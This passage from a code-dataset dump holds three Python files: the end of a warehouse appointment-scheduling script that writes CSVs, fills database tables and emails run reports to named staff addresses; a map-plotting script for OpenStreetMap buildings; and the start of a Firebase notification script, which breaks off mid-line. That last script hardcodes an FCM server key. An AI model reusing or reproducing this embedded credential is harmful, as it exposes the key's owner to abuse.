sorted(day_slots[date_fl[k]]):\r\n if p == 0 and bulk_break[(k,d)] == '0' and sch_slot[(k,d)] <= 2:\r\n if (k,d) in out_3:\r\n out_3[(k,d)].append(a)\r\n else:\r\n out_3[(k,d)] = [a]\r\n p = 1\r\n bulk_break[(k,d)] = '1'\r\n else:\r\n pass\r\n for d in sorted(day_slots[date_fl[k]]):\r\n if p == 0 and bulk_break[(k,d)] == '0' and sch_slot[(k,d)] <= 2:\r\n if (k,d) in out_3:\r\n out_3[(k,d)].append(a)\r\n else:\r\n out_3[(k,d)] = [a]\r\n p = 1\r\n bulk_break[(k,d)] = '1'\r\n else: \r\n pass\r\n else:\r\n for d in sorted(night_slots[date_fl[k]]):\r\n if p == 0 and bulk_break[(k,d)] == '0' and sch_slot[(k,d)] < 2:\r\n if (k,d) in out_3:\r\n out_3[(k,d)].append(a)\r\n else:\r\n out_3[(k,d)] = [a]\r\n p = 1\r\n bulk_break[(k,d)] = '1'\r\n else:\r\n pass\r\n for d in sorted(night_slots[date_fl[k]]):\r\n if p == 0 and bulk_break[(k,d)] == '0' and sch_slot[(k,d)] <= 2:\r\n if (k,d) in out_3:\r\n out_3[(k,d)].append(a)\r\n else:\r\n out_3[(k,d)] = [a]\r\n p = 1\r\n bulk_break[(k,d)] = '1'\r\n else:\r\n pass\r\n for d in sorted(night_slots[date_fl[k]]):\r\n if p == 0 and bulk_break[(k,d)] == '0' and sch_slot[(k,d)] <= 2:\r\n if (k,d) in out_3:\r\n out_3[(k,d)].append(a)\r\n else:\r\n out_3[(k,d)] = [a]\r\n p = 1\r\n bulk_break[(k,d)] = '1'\r\n else: \r\n pass\r\n \r\n if p == 1:\r\n gh = 0\r\n for d in sorted(day_slots[date_fl[k]]):\r\n if bulk_break[(k,d)] == '1' and gh != 0 and gh != len(day_slots[date_fl[k]])-1:\r\n w = gh-1\r\n if w < len(day_slots[date_fl[k]]):\r\n bulk_break[(k,day_slots[date_fl[k]][w])] = '2'\r\n w = gh+1\r\n if w < len(day_slots):\r\n bulk_break[(k,day_slots[date_fl[k]][w])] = '2'\r\n gh = gh+1\r\n gh = 0\r\n for d in sorted(night_slots[date_fl[k]]):\r\n if bulk_break[(k,d)] == '1' and gh != 0 and gh != len(night_slots[date_fl[k]])-1:\r\n w = gh-1\r\n if w < len(night_slots[date_fl[k]]):\r\n bulk_break[(k,night_slots[date_fl[k]][w])] = '2'\r\n w = gh+1\r\n if w < len(night_slots):\r\n bulk_break[(k,night_slots[date_fl[k]][w])] = '2'\r\n gh = gh+1\r\n else: #other appointments\r\n if j == 1:\r\n for l in sorted(day_slots[date_fl[k]]):\r\n if l not in st_slot:\r\n if sch_slot[(k,l)] < 1:\r\n if p == 0:\r\n if (k,l) in out_3:\r\n out_3[(k,l)].append(a)\r\n p = 1\r\n sch_slot[(k,l)] = sch_slot[(k,l)] + 1\r\n else:\r\n out_3[(k,l)] = [a]\r\n p = 1\r\n sch_slot[(k,l)] = sch_slot[(k,l)] + 1\r\n \r\n if p == 0:\r\n for l in sorted(day_slots[date_fl[k]]):\r\n if sch_slot[(k,l)] < 2:\r\n if p == 0:\r\n if (k,l) in out_3:\r\n out_3[(k,l)].append(a)\r\n p = 1\r\n sch_slot[(k,l)] = sch_slot[(k,l)] + 1\r\n else:\r\n out_3[(k,l)] = [a]\r\n p = 1\r\n sch_slot[(k,l)] = sch_slot[(k,l)] + 1 \r\n if p == 0:\r\n for l in sorted(day_slots[date_fl[k]]):\r\n if sch_slot[(k,l)] < 3:\r\n if p == 0:\r\n if (k,l) in out_3:\r\n out_3[(k,l)].append(a)\r\n p = 1\r\n sch_slot[(k,l)] = sch_slot[(k,l)] + 1\r\n else:\r\n out_3[(k,l)] = [a]\r\n p = 1\r\n sch_slot[(k,l)] = sch_slot[(k,l)] + 1\r\n if p == 0:\r\n for l in sorted(day_slots[date_fl[k]]):\r\n if sch_slot[(k,l)] <= 3:\r\n if p == 0:\r\n if (k,l) in out_3:\r\n out_3[(k,l)].append(a)\r\n p = 1\r\n sch_slot[(k,l)] = sch_slot[(k,l)] + 1\r\n else:\r\n out_3[(k,l)] = [a]\r\n p = 1\r\n sch_slot[(k,l)] = sch_slot[(k,l)] + 1\r\n else:\r\n for l in sorted(night_slots[date_fl[k]]):\r\n if l not in st_slot:\r\n if sch_slot[(k,l)] < 1:\r\n if p == 0:\r\n if (k,l) in out_3:\r\n out_3[(k,l)].append(a)\r\n p = 1\r\n sch_slot[(k,l)] = sch_slot[(k,l)] + 1\r\n else:\r\n out_3[(k,l)] = [a]\r\n p = 1\r\n sch_slot[(k,l)] = sch_slot[(k,l)] + 1\r\n if p == 0:\r\n for l in sorted(night_slots[date_fl[k]]):\r\n if sch_slot[(k,l)] < 2:\r\n if p == 0:\r\n if (k,l) in out_3:\r\n out_3[(k,l)].append(a)\r\n p = 1\r\n sch_slot[(k,l)] = sch_slot[(k,l)] + 1\r\n else:\r\n out_3[(k,l)] = [a]\r\n p = 1\r\n sch_slot[(k,l)] = sch_slot[(k,l)] + 1\r\n if p == 0:\r\n for l in sorted(night_slots[date_fl[k]]):\r\n if sch_slot[(k,l)] < 3:\r\n if p == 0:\r\n if (k,l) in out_3:\r\n out_3[(k,l)].append(a)\r\n p = 1\r\n sch_slot[(k,l)] = sch_slot[(k,l)] + 1\r\n else:\r\n out_3[(k,l)] = [a]\r\n p = 1\r\n sch_slot[(k,l)] = sch_slot[(k,l)] + 1\r\n if p == 0:\r\n for l in sorted(night_slots[date_fl[k]]):\r\n if sch_slot[(k,l)] <= 3:\r\n if p == 0:\r\n if (k,l) in out_3:\r\n out_3[(k,l)].append(a)\r\n p = 1\r\n sch_slot[(k,l)] = sch_slot[(k,l)] + 1\r\n else:\r\n out_3[(k,l)] = [a]\r\n p = 1\r\n sch_slot[(k,l)] = sch_slot[(k,l)] + 1\r\n if p == 0:\r\n missed_ref.append(a)\r\n logger.info(\"Completed Scheduling time slots\") \r\n print(M1)\r\n logger.info(\"No.of times day model failed: \"+ str(M1))\r\n print(M2)\r\n logger.info(\"No.of times shift model failed: \"+ str(M2))\r\n data = {}\r\n #Printing Schedule with units\r\n out_file = open('SCHEDULE_DFW_UNITS.csv','w')\r\n out_file.write('Id'+','+'Scheduled_date'+','+'shift'+','+'units'+','+'sku'+','+'VRDD-ORDD'+','+'VRDD'+','+'UPT_type')\r\n out_file.write('\\n')\r\n M3 = 0\r\n for i,j in sorted(out_2.keys()):\r\n for k in out_2[(i,j)]:\r\n out_file.write(str(k)+','+str(i)+','+str(j)+','+str(units_sku_obj[k][0])+','+str(units_sku_obj[k][1])+','+str(units_sku_obj[k][2])+','+str(dt[k][0]))\r\n out_file.write('\\n')\r\n out_file.close()\r\n a = str(dtm.datetime.today())\r\n logger.info(\"Writing Output to a CSV file\") \r\n #Printing the output schedule \r\n out_file = open('SCHEDULE_DFW_'+str(date)+'_.csv','w')\r\n out_file.write('Reference_number'+','+'PO_number'+','+'Scheduled_date'+','+'Scheduled_time'+','+'units'+','+'sku'+','+'hj_rank'+','+'vendor'+','+'carrier'+','+'delete'+','+'ORDD'+','+'VRDD'+','+'vas_units'+','+'VNA'+','+'Reason')\r\n out_file.write('\\n')\r\n for i,j in sorted(out_3.keys()):\r\n for k in out_3[(i,j)]:\r\n for l in ref_num[k]:\r\n if (vendor[k],j) in std_no:\r\n out_file.write(str(k)+','+str(l)+','+str(i)+','+str(j)+','+str(po[(k,l)][0])+','+str(po[(k,l)][1])+','+str(hj_rank[k])+','+str(v_name[k])+','+str(csr[k])+','+'N'+','+str(ordd[l])+','+str(vrdd[k])+','+str(vas_units[k])+','+'419'+','+str(std_no[(vendor[k],j)]))\r\n out_file.write('\\n')\r\n data[M3,l] = [a,k,l,i,j,po[(k,l)][0],po[(k,l)][1],v_name[k],cr_dt[k],'DFW1','Daily']\r\n else:\r\n out_file.write(str(k)+','+str(l)+','+str(i)+','+str(j)+','+str(po[(k,l)][0])+','+str(po[(k,l)][1])+','+str(hj_rank[k])+','+str(v_name[k])+','+str(csr[k])+','+'N'+','+str(ordd[l])+','+str(vrdd[k])+','+str(vas_units[k]))\r\n out_file.write('\\n')\r\n data[M3,l] = [a,k,l,i,j,po[(k,l)][0],po[(k,l)][1],v_name[k],cr_dt[k],'DFW1','Daily']\r\n M3 = M3+1\r\n df_out = pd.DataFrame(data = data.values())\r\n for i,j in rsch.keys():\r\n out_file.write(str(i)+','+str(j)+','+str(rsch[(i,j)][0])+','+str(rsch[(i,j)][1])+','+','+','+','+','+','+'Y')\r\n out_file.write('\\n')\r\n out_file.close()\r\n logger.info(\"CSV file is created\")\r\n logger.info(\"Writing data into Sandbox table\")\r\n #Writing Exception day model\r\n if df_day.empty == False:\r\n df_day.columns = ['rt','portal_fc','po_fc','ref','po','vrdd','cr_dt','rc']\r\n for index,row in df_day.iterrows():\r\n cur.execute('INSERT INTO sandbox_supply_chain.iso_exception (\"rundate\",\"portal_fc\",\"po_fc\",\"Ref_no\",\"PO_no\",\"VRDD\",\"created_dt\",\"reason_code\") VALUES (?,?,?,?,?,?,?,?)',\r\n (row['rt'],row['portal_fc'],row['po_fc'],row['ref'],row['po'],row['vrdd'],row['cr_dt'],row['rc']))\r\n #Writng Exception Shift model\r\n if df_sh.empty == False:\r\n df_sh.columns = ['rt','portal_fc','po_fc','ref','po','vrdd','cr_dt','rc']\r\n for index,row in df_sh.iterrows():\r\n cur.execute('INSERT INTO sandbox_supply_chain.iso_exception (\"rundate\",\"portal_fc\",\"po_fc\",\"Ref_no\",\"PO_no\",\"VRDD\",\"created_dt\",\"reason_code\") VALUES (?,?,?,?,?,?,?,?)',\r\n (row['rt'],row['portal_fc'],row['po_fc'],row['ref'],row['po'],row['vrdd'],row['cr_dt'],row['rc']))\r\n #writing ISO output\r\n if df_out.empty == False:\r\n df_out.columns = ['rt','ref','po','dt','tm','units','sku','vendor','cr_dt','FC_nm','Batch']\r\n for index,row in df_out.iterrows():\r\n cur.execute('INSERT INTO sandbox_supply_chain.ISO_OUTPUT_NEW (\"rundate\",\"Reference_number\",\"PO_number\",\"Sch_date\",\"Sch_time\",\"Units\",\"SKU\",\"vendor\",\"Created_dt\",\"FC_nm\",\"Batch\") VALUES (?,?,?,?,?,?,?,?,?,?,?)',\r\n (row['rt'],row['ref'],row['po'],row['dt'],row['tm'],row['units'],row['sku'],row['vendor'],row['cr_dt'],row['FC_nm'],row['Batch']))\r\n bulk_e = {}\r\n cnt = 0\r\n for i,j in sorted(out_3.keys()):\r\n dt = pd.to_datetime(i).date()\r\n tm = pd.to_datetime(j).time()\r\n combine = dtm.datetime.combine(dt,tm)\r\n est = pytz.timezone('US/Eastern')\r\n loc = est.localize(combine)\r\n utc = pytz.utc\r\n loc = loc.astimezone(utc)\r\n loc = loc.replace(tzinfo = None)\r\n for k in out_3[(i,j)]:\r\n for l in ref_num[k]:\r\n bulk_e[cnt] = [str(k),str(l),str(i),str(j),a,'0',a,'1',a,'1','DFW1',int(inc[k]),'419',str(loc)]\r\n cnt = cnt+1\r\n df_bulk = pd.DataFrame(data = bulk_e.values())\r\n if df_bulk.empty == False:\r\n df_bulk.columns = ['ref_no','po','date','time','csv_tm','csv_fl','hj_tm','hj_fl','bul_tm','bul_fl','FC_nm','inc_no','fr_type','gmt']\r\n for index,row in df_bulk.iterrows():\r\n cur.execute('INSERT INTO sandbox_supply_chain.iso_bulk_email (\"reference_number\",\"PO_number\",\"Scheduled_date\",\"Scheduled_time\",\"csv_timestamp\",\"csv_flag\",\"HJ_timestamp\",\"HJ_flag\",\"bulk_mail_timestamp\",\"bulk_mail_flag\",\"FC_nm\",\"Incident_NO\",\"Freight_type\",\"utc_time\") VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?)',\r\n row['ref_no'],row['po'],row['date'],row['time'],row['csv_tm'],row['csv_fl'],row['hj_tm'],row['hj_fl'],row['bul_tm'],row['bul_fl'],row['FC_nm'],row['inc_no'],row['fr_type'],row['gmt'])\r\n \r\n logger.info(\"Completed writing data into sandbox table\")\r\n sum1 = 0\r\n for i in out_1.keys():\r\n sum1 = sum1 + len(out_1[i])\r\n print(sum1)\r\n logger.info(\"No.of incidents in a day: \"+ str(sum1))\r\n \r\n sum3 = 0\r\n for (i,j) in out_3.keys():\r\n sum3 = sum3 + len(out_3[(i,j)])\r\n print(sum3)\r\n logger.info(\"No.of incidents scheduled: \"+ str(sum3))\r\n cnt = 0\r\n for i in vas_flag.keys():\r\n if vas_flag[i] == '1':\r\n cnt = cnt+1\r\n else:\r\n pass\r\n print (cnt)\r\n end_time = time.time()\r\n execution = end_time-start_time\r\n print(execution)\r\n logger.info(\"Execution time: \"+ str(execution)+\" SECONDS\")\r\n \r\n fromaddr = 'scsystems@chewy.com'\r\n toaddr = 'vmanohar@chewy.com'\r\n to = ', '.join(toaddr)\r\n msg = MIMEMultipart()\r\n msg['From'] = fromaddr\r\n msg['To'] = toaddr\r\n msg['Subject'] = \"Algorithm Successfully ran for DFW1\" \r\n body = \"Hello, \\nNo.of times Day Model failed: \"+str(M1)+\"\\nNo.of times Shift model failed: \"+str(M2)+\"\\nNo.of Incidents Requested: \"+str(sum1)+\"\\nNo.of Incidents Scheduled: \"+str(sum3)+\".\\nThanks\"\r\n msg.attach(MIMEText(body, 'plain'))\r\n server = smtplib.SMTP('smtp.chewymail.com', 25)\r\n text = msg.as_string()\r\n server.sendmail(fromaddr,toaddr.split(','), text)\r\n logger.info(\"Email was sent to the recipients: %s\" %(toaddr))\r\n server.quit()\r\n print(\"Email was sent to the recipients: %s\" %(toaddr))\r\n if M1 > 0 or M2 > 0:\r\n if M1 > 0 and M2==0:\r\n fromaddr = 'scsystems@chewy.com'\r\n toaddr = 'vmanohar@chewy.com,igonzalez1@chewy.com,EAlfonso@chewy.com,jxie@chewy.com'\r\n to = ', '.join(toaddr)\r\n file_list = ['day_model_DFW.ilp']\r\n msg = MIMEMultipart()\r\n msg['From'] = fromaddr\r\n msg['To'] = toaddr\r\n msg['Subject'] = \"LP Model Failed for DFW1 at day level\" \r\n body = \"Hello, \\nModel Failed at day level for\"+str(M1)+\"times.\\nThanks\\nVenkatesh\"\r\n msg.attach(MIMEText(body, 'plain'))\r\n for j in file_list:\r\n file_path = j\r\n attachment = open(file_path, \"rb\")\r\n part = MIMEBase('application', 'octet-stream')\r\n part.set_payload((attachment).read())\r\n encoders.encode_base64(part)\r\n part.add_header('Content-Disposition', \"attachment; filename= %s\" % j)\r\n msg.attach(part)\r\n server = smtplib.SMTP('smtp.chewymail.com', 25)\r\n text = msg.as_string()\r\n server.sendmail(fromaddr,toaddr.split(','), text)\r\n logger.info(\"Email was sent to the recipients: %s\" %(toaddr))\r\n server.quit()\r\n print(\"Email was sent to the recipients: %s\" %(toaddr))\r\n elif M1==0 and M2 > 0:\r\n fromaddr = 'scsystems@chewy.com'\r\n toaddr = 'vmanohar@chewy.com,igonzalez1@chewy.com,EAlfonso@chewy.com,jxie@chewy.com'\r\n to = ', '.join(toaddr)\r\n file_list = ['shift_model_DFW.ilp']\r\n msg = MIMEMultipart()\r\n msg['From'] = fromaddr\r\n msg['To'] = toaddr\r\n msg['Subject'] = \"LP Model Failed for DFW1 at shift level\" \r\n body = \"Hello, \\nModel Failed at shift level\"+str(M2)+\"times.\\nThanks\\nVenkatesh\"\r\n msg.attach(MIMEText(body, 'plain'))\r\n for j in file_list:\r\n file_path = j\r\n attachment = open(file_path, \"rb\")\r\n part = MIMEBase('application', 'octet-stream')\r\n part.set_payload((attachment).read())\r\n encoders.encode_base64(part)\r\n part.add_header('Content-Disposition', \"attachment; filename= %s\" % j)\r\n msg.attach(part)\r\n server = smtplib.SMTP('smtp.chewymail.com', 25)\r\n text = msg.as_string()\r\n server.sendmail(fromaddr,toaddr.split(','), text)\r\n logger.info(\"Email was sent to the recipients: %s\" %(toaddr))\r\n server.quit()\r\n print(\"Email was sent to the recipients: %s\" %(toaddr))\r\n elif M1 > 0 and M2 > 0:\r\n fromaddr = 'scsystems@chewy.com'\r\n toaddr = 'vmanohar@chewy.com,igonzalez1@chewy.com,EAlfonso@chewy.com,jxie@chewy.com'\r\n to = ', '.join(toaddr)\r\n file_list = ['shift_model_DFW.ilp','day_model_DFW.ilp']\r\n msg = MIMEMultipart()\r\n msg['From'] = fromaddr\r\n msg['To'] = toaddr\r\n msg['Subject'] = \"LP Model Failed for DFW1 at day level and shift level\" \r\n body = \"Hello, \\nModel Failed at day level\"+str(M1)+\"times and shift level\"+str(M2)+\"times.\\nThanks\\nVenkatesh\"\r\n msg.attach(MIMEText(body, 'plain'))\r\n for j in file_list:\r\n file_path = j\r\n attachment = open(file_path, \"rb\")\r\n part = MIMEBase('application', 'octet-stream')\r\n part.set_payload((attachment).read())\r\n encoders.encode_base64(part)\r\n part.add_header('Content-Disposition', \"attachment; filename= %s\" % j)\r\n msg.attach(part)\r\n server = smtplib.SMTP('smtp.chewymail.com', 25)\r\n text = msg.as_string()\r\n server.sendmail(fromaddr,toaddr.split(','), text)\r\n logger.info(\"Email was sent to the recipients: %s\" %(toaddr))\r\n server.quit()\r\n print(\"Email was sent to the recipients: %s\" %(toaddr)) \r\n cxn.close()\r\n logger.info(\"Vertica is Disconnected\")\r\nexcept Exception as e:\r\n print(\"Error Reported\")\r\n logger.error(\"Error in the code: \"+str(e))\r\n fromaddr = 'scsystems@chewy.com'\r\n toaddr = 'vmanohar@chewy.com,igonzalez1@chewy.com,EAlfonso@chewy.com,jxie@chewy.com'\r\n to = ', '.join(toaddr)\r\n msg = MIMEMultipart()\r\n msg['From'] = fromaddr\r\n msg['To'] = toaddr\r\n msg['Subject'] = \"Algorithm did not run for DFW1\" \r\n body = \"Hello, Algorithm failed for the following reason :\"+str(e)+\"\\nThanks\"\r\n msg.attach(MIMEText(body, 'plain'))\r\n server = smtplib.SMTP('smtp.chewymail.com', 25)\r\n text = msg.as_string()\r\n server.sendmail(fromaddr,toaddr.split(','), text)\r\n logger.info(\"Email was sent to the recipients: %s\" %(toaddr))\r\n server.quit()\r\n print(\"Email was sent to the recipients: %s\" %(toaddr))\r\n logger.info(\"Vertica is Disconnected\")\r\n cxn.close()\r\nrh.close()\r\n", "sub_path": "ISO_DFW.py", "file_name": "ISO_DFW.py", "file_ext": "py", "file_size_in_byte": 98033, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "time.time", "line_number": 23, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 39, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 39, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 43, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 44, "usage_type": "attribute"}, {"api_name": "logging.handlers.RotatingFileHandler", "line_number": 45, "usage_type": "call"}, {"api_name": "logging.handlers", "line_number": 45, "usage_type": "attribute"}, {"api_name": "logging.DEBUG", "line_number": 46, "usage_type": "attribute"}, {"api_name": "logging.StreamHandler", "line_number": 47, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 48, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 49, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 56, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 56, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 58, "usage_type": "call"}, {"api_name": "pyodbc.connect", "line_number": 71, "usage_type": "call"}, {"api_name": "pandas.read_sql", "line_number": 100, "usage_type": "call"}, {"api_name": "pandas.read_sql", "line_number": 113, "usage_type": "call"}, {"api_name": "pandas.read_sql", "line_number": 129, "usage_type": "call"}, {"api_name": "pandas.read_sql", "line_number": 153, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 187, "usage_type": "call"}, {"api_name": "pandas.read_sql", "line_number": 253, "usage_type": "call"}, {"api_name": "pandas.read_sql", "line_number": 279, "usage_type": "call"}, {"api_name": "pandas.read_sql", "line_number": 301, "usage_type": "call"}, {"api_name": "pandas.read_sql", "line_number": 484, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 501, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 501, "usage_type": "attribute"}, {"api_name": "pandas.read_sql", "line_number": 523, "usage_type": "call"}, {"api_name": "pandas.read_sql", "line_number": 536, "usage_type": "call"}, {"api_name": "pandas.read_sql", "line_number": 556, "usage_type": "call"}, {"api_name": "pandas.read_sql", "line_number": 578, "usage_type": "call"}, {"api_name": "pandas.read_sql", "line_number": 597, "usage_type": "call"}, {"api_name": "pandas.read_sql", "line_number": 653, "usage_type": "call"}, {"api_name": "pandas.read_sql", "line_number": 681, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 1200, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 1222, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 1322, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 1338, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 1712, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 1712, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 1730, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 1758, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 1759, "usage_type": "call"}, {"api_name": "datetime.datetime.combine", "line_number": 1760, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 1760, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 1770, "usage_type": "call"}, {"api_name": "time.time", "line_number": 1796, "usage_type": "call"}, {"api_name": "email.mime.multipart.MIMEMultipart", "line_number": 1804, "usage_type": "call"}, {"api_name": "email.mime.text.MIMEText", "line_number": 1809, "usage_type": "call"}, {"api_name": "smtplib.SMTP", "line_number": 1810, "usage_type": "call"}, {"api_name": "email.mime.multipart.MIMEMultipart", "line_number": 1822, "usage_type": "call"}, {"api_name": "email.mime.text.MIMEText", "line_number": 1827, "usage_type": "call"}, {"api_name": "email.mime.base.MIMEBase", "line_number": 1831, "usage_type": "call"}, {"api_name": "email.encoders.encode_base64", "line_number": 1833, "usage_type": "call"}, {"api_name": "email.encoders", "line_number": 1833, "usage_type": "name"}, {"api_name": "smtplib.SMTP", "line_number": 1836, "usage_type": "call"}, {"api_name": "email.mime.multipart.MIMEMultipart", "line_number": 1847, "usage_type": "call"}, {"api_name": "email.mime.text.MIMEText", "line_number": 1852, "usage_type": "call"}, {"api_name": "email.mime.base.MIMEBase", "line_number": 1856, "usage_type": "call"}, {"api_name": "email.encoders.encode_base64", "line_number": 1858, "usage_type": "call"}, {"api_name": "email.encoders", "line_number": 1858, "usage_type": "name"}, {"api_name": "smtplib.SMTP", "line_number": 1861, "usage_type": "call"}, {"api_name": "email.mime.multipart.MIMEMultipart", "line_number": 1872, "usage_type": "call"}, {"api_name": "email.mime.text.MIMEText", "line_number": 1877, "usage_type": "call"}, {"api_name": "email.mime.base.MIMEBase", "line_number": 1881, "usage_type": "call"}, {"api_name": "email.encoders.encode_base64", "line_number": 1883, "usage_type": "call"}, {"api_name": "email.encoders", "line_number": 1883, "usage_type": "name"}, {"api_name": "smtplib.SMTP", "line_number": 1886, "usage_type": "call"}, {"api_name": "email.mime.multipart.MIMEMultipart", "line_number": 1900, "usage_type": "call"}, {"api_name": "email.mime.text.MIMEText", "line_number": 1905, "usage_type": "call"}, {"api_name": "smtplib.SMTP", "line_number": 1906, "usage_type": "call"}]} +{"seq_id": "427984820", "text": "import matplotlib.pyplot as plt\nimport csv\nimport pandas as pd\nimport subprocess\nimport sys\nimport mplleaflet\n\nMVN_PATH = 'C:/Program Files/JetBrains/IntelliJ IDEA 2019.1.2/plugins/maven/lib/maven3/bin/mvn.cmd'\nmaps = ('helsinki',\n 'amsterdam',\n 'san_francisco',\n 'reykjavik',\n 'wellington',\n 'saint_petersburg',\n 'melbourne',\n 'quito',\n 'beijing',\n 'lausanne',\n 'sao_paulo',\n 'rome',\n 'berlin',\n 'osnabrueck')\n\n\ndef plotRoad(filename):\n print(\"Plotting road network\")\n df = pd.read_csv(filename, delimiter=\" \")\n df['lon'] = df['lon'].apply(\n lambda x: float(x.split()[0].replace(',', '.')))\n df['lat'] = df['lat'].apply(\n lambda x: float(x.split()[0].replace(',', '.')))\n\n for way, pos in df.groupby('way'):\n plt.plot(pos['lon'], pos['lat'], color='grey', lw=0.5)\n\n\ndef plotBuildings(path):\n print(\"Plotting buildings\")\n with open(path, 'r') as csv_file:\n csv.Dialect.delimiter = ' '\n reader = csv.reader(csv_file, delimiter=' ')\n next(reader) # skip first row\n for row in reader:\n cords_x = []\n cords_y = []\n if(row[0] == 'office'):\n for i in range(4, 2*(int(row[3]) + 1), 2):\n cords_x.append(float(row[i]))\n cords_y.append(float(row[i+1]))\n cords_x.append(cords_x[0])\n cords_y.append(cords_y[0])\n plt.plot(cords_x, cords_y, color='r')\n if(row[0] == 'home'):\n for i in range(4, 2*(int(row[3]) + 1), 2):\n cords_x.append(float(row[i]))\n cords_y.append(float(row[i+1]))\n cords_x.append(cords_x[0])\n cords_y.append(cords_y[0])\n plt.plot(cords_x, cords_y, color='g')\n\ndef createJar():\n try:\n proc = subprocess.Popen('mvn ' + ' clean package')\n except:\n proc = subprocess.Popen(MVN_PATH + ' clean package')\n finally:\n proc.wait()\n\n\ndef createCache(call):\n proc = subprocess.Popen(call)\n proc.wait()\n\n\ndef bulkSave():\n MIN_BUILDING_SIZE = 150\n MAX_BUILDING_SIZE = 999999\n createJar()\n\n for city in maps:\n plt.figure(figsize=(12.5, 8.5), dpi=300)\n call = \"java -Xmx12g -Xss1g -jar target/bonnmotion.jar OSMBuildingStats --in cities_10000/{}_cut_bbox.osm.pbf --out data/OSMBuildingStats/{} --min {} --max {}\".format(\n city, city, MIN_BUILDING_SIZE, MAX_BUILDING_SIZE)\n createCache(call)\n\n plotRoad('data/OSMBuildingStats/{}.street_network.dat'.format(city))\n plotBuildings('data/OSMBuildingStats/{}.csv'.format(city))\n plt.title(city)\n plt.savefig('data/OSMBuildingStats/{}_map.png'.format(city))\n plt.clf()\n\n\nif __name__ == \"__main__\":\n\n # Process all map\n # bulkSave()\n\n path_building = sys.argv[1]\n path_road = sys.argv[2]\n\n # path_building = 'data/BuildingCache/out.csv'\n # path_road = \"data/BuildingCache/out.street_network.dat\"\n\n plotRoad(path_road)\n plotBuildings(path_building)\n mng = plt.get_current_fig_manager()\n mng.frame.Maximize(True)\n plt.show()\n\n# mplleaflet.show(tiles=(\n# 'http://{s}.tile.openstreetmap.de/{z}/{x}/{y}.png',\n# 'Map data (c)     OpenStreetMap contributors'\n# ))\n", "sub_path": "scripts/building_cache_polt.py", "file_name": "building_cache_polt.py", "file_ext": "py", "file_size_in_byte": 3396, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "pandas.read_csv", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "csv.Dialect", "line_number": 40, "usage_type": "attribute"}, {"api_name": "csv.reader", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "subprocess.Popen", "line_number": 63, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 65, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 89, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 90, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 98, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 99, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.get_current_fig_manager", "line_number": 106, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 106, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 108, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 108, "usage_type": "name"}]} +{"seq_id": "227062489", "text": "import firebase_admin\nfrom firebase_admin import credentials\nfrom firebase_admin import db\nimport datetime\nimport json\nimport requests\n\nserver_key = 'AAAAsikYyb0:APA91bGwXYmYutp5dyUI74YNndwBgEFWfCmB4RxJdiPSHqxZ8Xa6fy_4MXKbPbTcbXoIdNMB5G0-CWXlT_fTzUUMPYcPIJ-TL7_UzPhFYSQW8pjJpUZIbvGuqxYKwiFQfq8jKFeUmTyi'\nserial = '123'\ndevice_token = ''\n\ndef send_notification(msg) :\n\theaders = {\n\t\t'Authorization': 'key= ' + server_key,\n\t\t'Content-Type': 'application/json',\n\t}\n\n\tdata = {\n\t\t'to': device_token,\n\t\t'notification': {\n\t\t\t'title': 'Inner car',\n\t\t\t'body': msg\n\t\t},\n\t}\n\n\tresponse = requests.post('https://fcm.googleapis.com/fcm/send', headers=headers, 